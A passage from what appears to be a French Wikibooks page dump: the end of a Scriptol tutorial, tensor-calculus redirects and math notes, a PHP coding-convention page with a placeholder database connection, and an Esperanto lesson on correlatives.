pouvez à la place appliquer une fonction déja définie. L'argument de la fonction est un élément de tableau. array a = {1,2,3,4 } <br> void fun(number x) print x * x return <br> scan a by fun Si vous utilisez plusieurs tableaux, leur nombre doit correspondre au nombre d'arguments de la fonction. ==While Let== ===Syntaxe commune=== while x < 5 print x x + 1 /while Pour incrémenter une variable, Scriptol utilise x + 1. Cela ne pourrait fonctionner en C et autres langages. ===Boucle infinie en C=== Les langages C et dérivés (C++, Java, C#) amènent facilement à des boucles infinies. En voici deux exemples. while(x < 5); { printf("%d\n", x); x += 1: } eut-être l'avez vous immédiatement noté (ou peut-être que non!), mais le construct est mauvais, à cause du point-virgule après la condition! Autre exemple, sans point-virgule mal placé: while(x < 10) { printf("%d\n", x); if(x = 5) continue; ... quelques instructions ... x += 1; } Une fois atteinte la valeur 5 en x, le compteur ne changera plus jamais, parceque l'incrémentation est sauté par l'instruction "continue" et donc la boucle ne finira jamais. ===While let=== Scriptol utilise une syntaxe sécurisée pour éviter les boucles infirnies: while x < 10 print x if x = 5 continue ... quelques instructions ... let x + 1 En Scriptol, l'instruction "continue" saute sur l'instruction "let" et la variable de la condition est incrémenté à ce point. ==Xml ou classe== ===Classe ordinaire=== Scriptol est orienté-objet et à des classes avec héritage. Définir une classe est facile. Exemple de classe très simple: class Voiture int vitesse void lireVitesse() ... quelques instructions ... return vitesse /class ===Xml=== Mais Scriptol a aussi le xml. Définir un document xml est tout aussi simple: xml Voiture vitesse value = "10" / roues number = "4" passagers number = "5" "Clara, Charly, Corinna, Cyril, Cecilia" /passagers /xml ===Utiliser Xml=== Les classes sont utilisés directement ou en créant une instance, et en faisant référence aux attributs ou des appels de méthodes. Utiliser Xml n'est pas différent. Vous pouvez définir autant d'instances de document xml que vous voulez, et modifier le contenu de chacune. Le contenu des éléments ou les attributs peuvent être assigné, et des éléments et attributs peuvent être ajouté ou supprimé. Voiture maVoiture ` maVoiture est instance du document Voiture print maVoiture.vitesse ` afficher la valeur de l'attribut "vitesse" print maVoiture.passagers ` afficher le contenu de l'élément "passagers" ===Importer un document xml=== Xml est utile principalement pour effectuer des traitements sur des document produits par des outils variés tels que traitement de texte, tableur, etc.... Pour charger ces documents, Scriptol intègre un parseur sax. Vous avez juste à déclarer un document xml, charger le fichier xml, et vous pouvez utiliser le document comme une classe déclarée dans le source. xml Voiture ` déclarer un document vide. /xml <br> Voiture maVoiture` définir une instance (pas requis). maVoiture.load("document.xml") ` charger un document externe <br> Voiture.load("document.xml") ` on peut utiliser directement la classe ===Itérateur=== Un itérateur sur un document xml est comme un itérateur sur un tableau, plus les méthodes down() and up(). L'itérateur permet de parser un document xml entier ou juste les sous-éléments d'un élément. demo.begin() while demo.isFound() print demo.getData() let demo.inc() Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques et sphériques, conflits de notations 7564 45748 2006-06-26T07:43:55Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques et sphériques, conflits de notations]] Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques 7565 36220 2006-03-06T14:31:04Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques]] Calcul tensoriel/Coordonnées curvilignes 7566 36222 2006-03-06T14:34:57Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes]] déplacé vers [[Calcul tensoriel/Notions de base]] #REDIRECT [[Calcul tensoriel/Notions de base]] Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Tenseur métrique 7567 36224 2006-03-06T14:35:33Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Tenseur métrique]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Tenseur métrique]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Tenseur métrique]] Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Laplacien 7568 36226 2006-03-06T14:35:59Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Laplacien]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Laplacien]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Laplacien]] Calcul tensoriel/Coordonnées curvilignes/Laplacien 7569 36228 2006-03-06T14:36:37Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Laplacien]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Laplacien]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Laplacien]] Calcul tensoriel/Coordonnées curvilignes/Équations de Maxwell en espace-temps courbe 7570 45749 2006-06-26T07:44:34Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Espace-temps courbe/Équations de Maxwell]] Calcul tensoriel/Appendices/Coordonnées cylindriques et sphériques, conflits de notations 7571 36232 2006-03-06T14:40:20Z Fapae 1199 [[Calcul tensoriel/Appendices/Coordonnées cylindriques et sphériques, conflits de notations]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques et sphériques, conflits de notations]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques et sphériques, conflits de notations]] Calcul tensoriel/Coordonnées curvilignes/Divergence 7572 36234 2006-03-06T14:42:20Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Divergence]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Divergence]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Divergence]] Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel/Contraction 7573 36255 2006-03-06T16:27:00Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel/Contraction]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Contraction]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Contraction]] Calcul tensoriel/Coordonnées curvilignes/Tenseur de Ricci 7574 36257 2006-03-06T16:27:50Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Tenseur de Ricci]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur de Ricci]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Tenseur de Ricci]] Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Divergence 7575 36259 2006-03-06T16:28:30Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Divergence]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Divergence]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Divergence]] Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Divergence 7576 36261 2006-03-06T16:29:10Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Divergence]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Divergence]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Divergence]] Calcul tensoriel/Espace-temps courbe/Équations de Maxwell en espace-temps courbe 7577 36263 2006-03-06T16:29:36Z Fapae 1199 [[Calcul tensoriel/Espace-temps courbe/Équations de Maxwell en espace-temps courbe]] déplacé vers [[Calcul tensoriel/Espace-temps courbe/Équations de Maxwell]] #REDIRECT [[Calcul tensoriel/Espace-temps courbe/Équations de Maxwell]] Calcul tensoriel/Coordonnées curvilignes/Symbole de Levi-Civita d'ordre N 7578 36268 2006-03-06T16:39:08Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Symbole de Levi-Civita d'ordre N]] déplacé vers [[Calcul tensoriel/Appendices/Symbole de Levi-Civita d'ordre N]] #REDIRECT [[Calcul tensoriel/Appendices/Symbole de Levi-Civita d'ordre N]] Calcul tensoriel/Coordonnées curvilignes/Tenseur dualiseur/Nullité de la dérivée covariante 7579 36273 2006-03-06T16:46:35Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Tenseur dualiseur/Nullité de la dérivée covariante]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur dualiseur/Nullité de la dérivée covariante/Démonstration]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Tenseur dualiseur/Nullité de la dérivée covariante/Démonstration]] Calcul tensoriel/Notions élémentaires/Produit vectoriel 7580 36405 2006-03-07T08:57:39Z Fapae 1199 Soient <math>a^j</math> et <math>b^k</math> deux vecteurs dans un espace de dimension '''N'''. Le produit vectoriel de ces vecteurs est le tenseur défini par <math>\left(\mathrm{a} \times \mathrm{b}\right)_{i_1 i_2 \ldots i_{N-2}} = *_{i_1 i_2 \ldots i_{N-2} j k} a^j b^k</math> * en dimension 2, le produit vectoriel est le scalaire défini par <math>\mathrm{a} \times \mathrm{b} = *_{jk} a^j b^k</math> * En dimension 3, le produit vectoriel est le vecteur défini par <math>\left(\mathrm{a} \times \mathrm{b}\right)_i = *_{ijk} a^j b^k</math>, ou, en composantes contravariantes <math>\left(\mathrm{a} \times \mathrm{b}\right)^i = g^{il} *_{ljk} a^j b^k</math>. Calcul tensoriel/Coordonnées curvilignes/Tenseur de courbure 7581 36294 2006-03-06T18:25:54Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Tenseur de courbure]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur de courbure]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Tenseur de courbure]] Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel 7582 36296 2006-03-06T18:27:10Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel]] Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel/Fonction du tenseur métrique 7583 36299 2006-03-06T18:28:28Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel/Fonction du tenseur métrique]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique]] Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel/Fonction du tenseur métrique/Démonstration 7584 36301 2006-03-06T18:28:59Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel/Fonction du tenseur métrique/Démonstration]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique/Démonstration]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique/Démonstration]] Calcul tensoriel/Notions élémentaires/Base naturelle locale 7585 36318 2006-03-06T20:42:18Z Fapae 1199 [[Calcul tensoriel/Notions élémentaires/Base naturelle locale]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Base naturelle]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Base naturelle]] Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Gradient 7586 36326 2006-03-06T20:58:34Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Gradient]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Gradient]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Gradient]] Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Tenseur métrique 7587 36328 2006-03-06T21:00:39Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Tenseur métrique]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Tenseur métrique]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Tenseur métrique]] Calcul tensoriel/Coordonnées curvilignes/Éléments de base 7588 36332 2006-03-06T21:07:46Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Éléments de base]] déplacé vers [[Calcul tensoriel/Poubelle/Éléments de base]] #REDIRECT [[Calcul tensoriel/Poubelle/Éléments de base]] Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Laplacien 7589 36334 2006-03-06T21:08:54Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Laplacien]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Laplacien]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Laplacien]] Calcul tensoriel/Coordonnées curvilignes/Base naturelle 7590 36339 2006-03-06T21:19:55Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Base naturelle]] déplacé vers [[Calcul tensoriel/Poubelle/Base naturelle]] #REDIRECT [[Calcul tensoriel/Poubelle/Base naturelle]] Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Contraction de la dérivée partielle 7591 36341 2006-03-06T21:21:39Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Contraction de la dérivée partielle]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de la dérivée partielle]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de la dérivée partielle]] Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de la dérivée partielle/Démonstration 7592 36348 2006-03-06T21:56:23Z Fapae 1199 La matrice <math>g^{ij}</math> est l'[[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Matrice inverse|inverse de la matrice du tenseur métrique]] <math>g_{ij}</math> : <math>g^{ij} g_{jk} = \delta^i_k</math>. Profitant de la symétrie du [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]], on a <math>g^{ij} g_{ji} = \delta^i_i</math>. Or la contraction <math>g^i_i = \delta^i_i</math> donne un entier, la dimension de l'espace. C'est donc une constante. Ainsi <math>g^{ij} \; d g_{ij} = - g_{ij} \; d g^{ij}</math>. D'où l'expression cherchée. Calcul tensoriel/Coordonnées curvilignes/Événement 7593 36350 2006-03-06T22:05:35Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Événement]] déplacé vers [[Calcul tensoriel/Espace-temps plan/Événement]] #REDIRECT [[Calcul tensoriel/Espace-temps plan/Événement]] Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques 7594 36353 2006-03-06T22:09:11Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques]] Calcul tensoriel/Espace euclidien 7595 36358 2006-03-06T22:23:21Z Fapae 1199 === [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques|Coordonnées cylindriques]] === {{:Calcul tensoriel/Espace euclidien/Coordonnées cylindriques}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Tenseur métrique|Tenseur métrique]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Tenseur métrique}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Symbole de Christoffel|Symbole de Christoffel]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Symbole de Christoffel}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Gradient|Gradient]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Gradient}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Divergence|Divergence]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Divergence}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Laplacien|Laplacien]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Laplacien}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Rotationnel|Rotationnel]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Rotationnel}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Tenseur de courbure|Tenseur de courbure]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Tenseur de courbure}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Tenseur de Ricci|Tenseur de Ricci]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Tenseur de Ricci}} === [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques|Coordonnées sphériques]] === {{:Calcul tensoriel/Espace euclidien/Coordonnées sphériques}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Tenseur métrique|Tenseur métrique]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Tenseur métrique}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Symbole de Christoffel|Symbole de Christoffel]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Symbole de Christoffel}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Gradient|Gradient]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Gradient}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Divergence|Divergence]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Divergence}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Laplacien|Laplacien]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Laplacien}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Rotationnel|Rotationnel]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Rotationnel}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Tenseur de courbure|Tenseur de courbure]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Tenseur de courbure}} ==== [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Tenseur de Ricci|Tenseur de Ricci]] ==== {{:Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Tenseur de Ricci}} Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Symbole de Christoffel 7596 36362 2006-03-06T22:29:02Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Symbole de Christoffel]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Symbole de Christoffel]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Symbole de Christoffel]] Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Symbole de Christoffel 7597 36366 2006-03-06T22:31:59Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Symbole de Christoffel]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Symbole de Christoffel]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Symbole de Christoffel]] Calcul tensoriel/Équation géodésique 7598 36373 2006-03-06T22:45:27Z Fapae 1199 [[Calcul tensoriel/Équation géodésique]] déplacé vers [[Calcul tensoriel/Géodésiques/Équation géodésique]] #REDIRECT [[Calcul tensoriel/Géodésiques/Équation géodésique]] Calcul tensoriel/Géodésiques 7599 43379 2006-05-29T06:12:01Z Fapae 1199 faute de frappe /* [[Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du Symbole de Christoffel|Expression au moyen du Symbole de Christoffel]] */ À RÉDIGER === [[Calcul_tensoriel/Géodésiques/Équation géodésique|Équation géodésique]] === {{:Calcul_tensoriel/Géodésiques/Équation géodésique}} === [[Calcul_tensoriel/Géodésiques/Équation géodésique/Paramétrisation canonique|Paramétrisation canonique]] === {{:Calcul_tensoriel/Géodésiques/Équation géodésique/Paramétrisation canonique}} === [[Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du symbole de Christoffel|Expression au moyen du symbole de Christoffel]] === {{:Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du symbole de Christoffel}} === [[Calcul_tensoriel/Géodésiques/Système accéléré uniformément|Système accéléré uniformément]] === {{:Calcul_tensoriel/Géodésiques/Système accéléré uniformément}} Calcul tensoriel/Coordonnées curvilignes/Équation géodésique/Paramétrisation canonique 7600 36381 2006-03-06T22:58:29Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Équation géodésique/Paramétrisation canonique]] déplacé vers [[Calcul tensoriel/Géodésiques/Équation géodésique/Paramétrisation canonique]] #REDIRECT [[Calcul tensoriel/Géodésiques/Équation géodésique/Paramétrisation canonique]] Calcul tensoriel/Coordonnées curvilignes/Équation géodésique/Expression au moyen du symbole de Christoffel/Démonstration 7601 36386 2006-03-06T23:04:06Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Équation géodésique/Expression au moyen du symbole de Christoffel/Démonstration]] déplacé vers [[Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du symbole de Christoffel/Démonst #REDIRECT [[Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du symbole de Christoffel/Démonstration]] Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Pseudo-contraction de sa dérivée partielle/Démonstration 7602 36388 2006-03-06T23:07:31Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Pseudo-contraction de sa dérivée partielle/Démonstration]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de sa dérivée partielle/Démonstrat #REDIRECT [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de sa dérivée partielle/Démonstration]] Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Pseudo-contraction de sa dérivée partielle 7604 36395 2006-03-07T08:48:39Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Pseudo-contraction de sa dérivée partielle]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de sa dérivée partielle]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de sa dérivée partielle]] Calcul tensoriel/Coordonnées curvilignes/Rotationnel 7605 36397 2006-03-07T08:49:12Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Rotationnel]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Rotationnel]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Rotationnel]] PHPDD 7606 41831 2006-05-09T17:27:53Z Spirit 203 1093 /* Bases de données */ == Introduction == '''PHP Developing Definition''' est une norme créée par des développeurs ayant la volonté d'unifier les scripts [[PHP]]. Son utilisation est fortement conseillée, pour augmenter votre coordination avec d'autres programmeurs connaissant cette norme. === Pourquoi une norme ? === Actuellement, les scripts proposés sur internet sont d'une qualité souvent déplorable. Les développeurs ne sont pas coordonnés et modifier un script qui n'a pas été créé par vous se révèle souvent une tâche laborieuse. Outre cette unification, cette norme a pour objectif de donner une rigueur à ce langage utilisant à mauvais escient son extraordinaire diversité syntaxique. Les avantages que procurent la programmation de qualité sont développés [[Programmation PHP/Concevoir du code de haute qualité| ici]] === Versions de phpDD === La norme phpDD en est actuellement à sa version alpha et peut subir des modifications radicales à tout instant. Il est conseillé de vérifier régulièrement si il n'y a pas eu d'actualisation de la norme. == Généralités == * Les fichiers php destinés à être inclus devront porter un nom de la forme inc_fichier.php * L'indentation se fait par des accolades, lesquelles présentent l'avantage d'être réglables selon la préférence du développeur. * Les messages d'erreur doivent être enregistrés dans un fichier journal == Document de base == * Les balises PHP incluant un script sont ''<?php ?>''. * Un document PHP doit posséder au départ un commentaire de la forme suivante: <pre> /* * Filename: fichier.php * Author: M. Personne * Created: 06/06/99 * Last modified: 21/06/99 * Norm: phpDD alpha */ </pre> == Variables et fonctions == * Les variables et les noms de fonctions doivent avoir recours aux underscores pour séparer les mots: <pre> function ma_fonction() { $ma_variable = 5; } </pre> * Un espace doit séparer les opérateurs de la variable et de la valeur: <pre> $var = 5; // valide $var=5; // non valide </pre> * Toute fonction doit posséder des accolades. * Le code doit être indenté à l'intérieur des accolades d'une fonction. == Structures de contrôle == == Bases de données == Un fichier de connection à la base de données doit être disponible à l'url suivante: <pre> include('./inc_connect.php'); </pre> Voici le contenu du fichier <pre> <?php /* * Filename: inc_connect.php * Author: auteur * Created: 59/59/2009 * Last modified: 52/51/1988 * Norm: ISO-dev PHP alpha */ $_DB = mysql_connect("host","account","password"); if (!mysql_select_db("dbname",$_DB)) { exit("Connection failed"); } ?> </pre> Cela permet d'éviter d'avoir à installer tout script compatible PHPDD. En effet, il n'aura plus qu'à inclure inc_connect.php pour accéder à la base de données en utilisant la variable $_DB. Concevoir du code de haute qualité 7607 36420 2006-03-07T11:12:54Z Spirit 203 1093 [[Concevoir du code de haute qualité]] déplacé vers [[Programmation PHP/Concevoir du code de haute qualité]]: Il n'était dans aucun lieu en particulier. maintenant qu'il a un peu de contenu, je le mets dans la programmation PHP #REDIRECT [[Programmation PHP/Concevoir du code de haute qualité]] Espéranto : Treizième Leçon 7609 45302 2006-06-21T08:56:54Z 81.48.195.102 /* Corrélatifs */ ==Corrélatifs== Comme toute langue, l'espéranto utilise des mots de liaisons nommés "corrélatifs". Dans la langue de Zamenhof ces mots de liaison se forment à l'aide de cinq pré-syllabes et de neuf post-syllabes. {|style="float:left;border:1px solid #AAAACC;margin-left:0.5em;margin-bottom:0.5em;text-align:center;" rules="all" cellpadding="3" cellspacing="0" ! bgcolor="#EEEEF7" | '''Pré-syllabes''' ! bgcolor="#EEEEF7" | '''Signification''' |- |'''i-''' || indéfini |- |'''ki-''' || interro-relatif |- |'''ti-''' || démonstratif |- |'''ĉi-''' || collectif |- |'''neni-''' || négatif |} {|style="float:left;border:1px solid #AAAACC;margin-left:0.5em;margin-bottom:0.5em;text-align:center;" rules="all" cellpadding="3" cellspacing="0" ! bgcolor="#EEEEF7" | '''Post-syllabes''' ! bgcolor="#EEEEF7" | '''Signification''' |- |individualité || '''-u''' |- |chose || '''-o''' |- |qualité || '''-a''' |- |possession || '''-es''' |- |lieu || '''-e''' |- |temps || '''-am''' |- |manière || '''-el''' |- |cause || '''-al''' |- |quantité || '''-om''' |} <br clear="both"> Ils peuvent aussi être utilisés pour tourner des phrases. Ex: *C'était quelque part.....Estis ie *L'orage est là.....La oraĝo estas tie [[Catégorie:Espéranto|13]] Calcul tensoriel/Coordonnées curvilignes/Équations d'Einstein 7612 36453 2006-03-07T20:33:59Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Équations d'Einstein]] déplacé vers [[Calcul tensoriel/Espace-temps courbe/Équations d'Einstein]] #REDIRECT [[Calcul tensoriel/Espace-temps courbe/Équations d'Einstein]] Calcul tensoriel/Espace-temps courbe 7613 37758 2006-03-15T18:10:41Z Fapae 1199 /* [[Calcul_tensoriel/Espace-temps courbe/Équations d'Einstein|Équations d'Einstein]] */ == [[Calcul_tensoriel/Espace-temps courbe/Métrique|Métrique quadridimensionnelle en espace-temps courbe]] == {{:Calcul_tensoriel/Espace-temps courbe/Métrique}} == [[Calcul_tensoriel/Espace-temps courbe/Équations d'Einstein|Équations d'Einstein]] == {{:Calcul_tensoriel/Espace-temps courbe/Équations d'Einstein}} == [[Calcul_tensoriel/Espace-temps courbe/Équations de Maxwell|Équations de Maxwell en espace-temps courbe]] == [{{:Calcul_tensoriel/Espace-temps courbe/Équations de Maxwell}} == [[Calcul_tensoriel/Espace-temps courbe/Gravité (symétrie sphérique)|Gravité (symétrie sphérique)]] == {{:Calcul_tensoriel/Espace-temps courbe/Gravité (symétrie sphérique)}} Calcul tensoriel/Coordonnées curvilignes/Équations d'Einstein/Relation symétrique/Démonstration 7614 36459 2006-03-07T20:44:09Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Équations d'Einstein/Relation symétrique/Démonstration]] déplacé vers [[Calcul tensoriel/Espace-temps courbe/Équations d'Einstein/Relation symétrique/Démonstration]] #REDIRECT [[Calcul tensoriel/Espace-temps courbe/Équations d'Einstein/Relation symétrique/Démonstration]] Calcul tensoriel/Coordonnées curvilignes/Gravité (symétrie sphérique) 7615 36461 2006-03-07T20:46:01Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Gravité (symétrie sphérique)]] déplacé vers [[Calcul tensoriel/Espace-temps courbe/Gravité (symétrie sphérique)]] #REDIRECT [[Calcul tensoriel/Espace-temps courbe/Gravité (symétrie sphérique)]] Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Matrice inverse 7616 36463 2006-03-07T20:48:40Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Matrice inverse]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Matrice inverse]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Matrice inverse]] Calcul tensoriel/Notions élémentaires/Tenseur métrique/Matrice inverse/Démonstration 7617 36466 2006-03-07T20:53:07Z Fapae 1199 On a défini (Cf. [[Calcul tensoriel/Notions élémentaires/Transformation contraco|transformation contraco]]) le tenseur métrique inverse <math>\left(g^{-1}\right)^{ij}</math> comme étant l'inverse de <math>g_{ij}</math>. En faisant intervenir deux fois le tenseur métrique, on obtient son expression covariante <math> \left(g^{-1}\right)_{ij} = g_{ik} g_{jl} \left(g^{-1}\right)^{kl} = g_{ik} g_{jl} \left(g^{-1}\right)^{lk} = g_{ik} \delta^k_j = g_{ij}. </math> Le tenseur métrique est donc son propre 